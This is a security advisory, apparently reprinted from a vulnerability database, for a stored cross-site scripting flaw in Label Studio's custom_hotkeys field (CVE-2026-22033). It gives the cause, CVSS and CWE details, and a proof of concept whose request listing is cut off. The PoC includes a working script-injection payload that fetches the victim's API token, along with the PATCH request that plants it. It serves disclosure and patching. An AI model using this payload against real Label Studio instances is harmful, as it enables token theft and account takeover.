Label Studio: cross-site scripting

### Prologue These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually. ### Summary A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the `templates/base.html` template. Because the application exposes an API token endpoint (`/api/current-user/token`) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints , enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise. ### Details Within `templates/base.html`, the application renders user-controlled hotkey configuration via the following JavaScript snippet: ```js var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }}; ``` Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in `core/templatetags/filters.py`) which performs `json.dumps(dictionary, ensure_ascii=False)` but does not escape closing `</script>` sequences or other dangerous characters. Because the template uses the `|safe` filter, the output is inserted into the HTML `<script>` context without further escaping. In `users/api.py`, the *PATCH* endpoint allows updating of `custom_hotkeys`: ```python user.custom_hotkeys = serializer.validated_data['custom_hotkeys'] user.save(update_fields=['custom_hotkeys']) ``` The serializer allows `<` and `>` characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via `PATCH /api/users/{id}/:` ```json { "first_name":"poc", "last_name":"test", "phone":"123", "custom_hotkeys":{ "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{ "key":"x", "active":true } } } ``` When another user loads a page using templates/base.html (for example `/user/account/` or `/`), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious `<script>` code. Because the application exposes `/api/current-user/token` ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse. ### PoC 1. **Login to the application** - Go to the login page: `GET /user/login/` 2. **Identify your user ID (via API)** - `GET /api/current-user/whoami` - In the response JSON you will see your user ID (for example `"id": 123`). - Note this ID for the next step. 3. Inject a malicious hotkey payload in the PATCH request /api/users/{id} - Using the user API, send a `PATCH` request to update your `custom_hotkeys`. Example request ```http PATCH /api/users/25 HTTP/1.1 Host: 0.0.0.0:8080 Content-Length: 288 sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 content-type: application/json baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false Accept: */* Origin: http://0.0.0.0:8080 Referer: http://0.0.0.0:8080/user/account/personal-info Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6 Cookie: {STRIPPED} Conne

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-285, CWE-79

Also known as

CVE-2026-22033, PYSEC-2026-1502

• github.com/HumanSignal/label-studio/security/advisories/GHSA-2mq9-hm29-8qch
• nvd.nist.gov/vuln/detail/CVE-2026-22033
• github.com/HumanSignal/label-studio/pull/9084
• github.com/HumanSignal/label-studio/commit/ea2462bf042bbf370b79445d02a205fbe547b505
• github.com/HumanSignal/label-studio
• github.com/HumanSignal/label-studio/releases/tag/nightly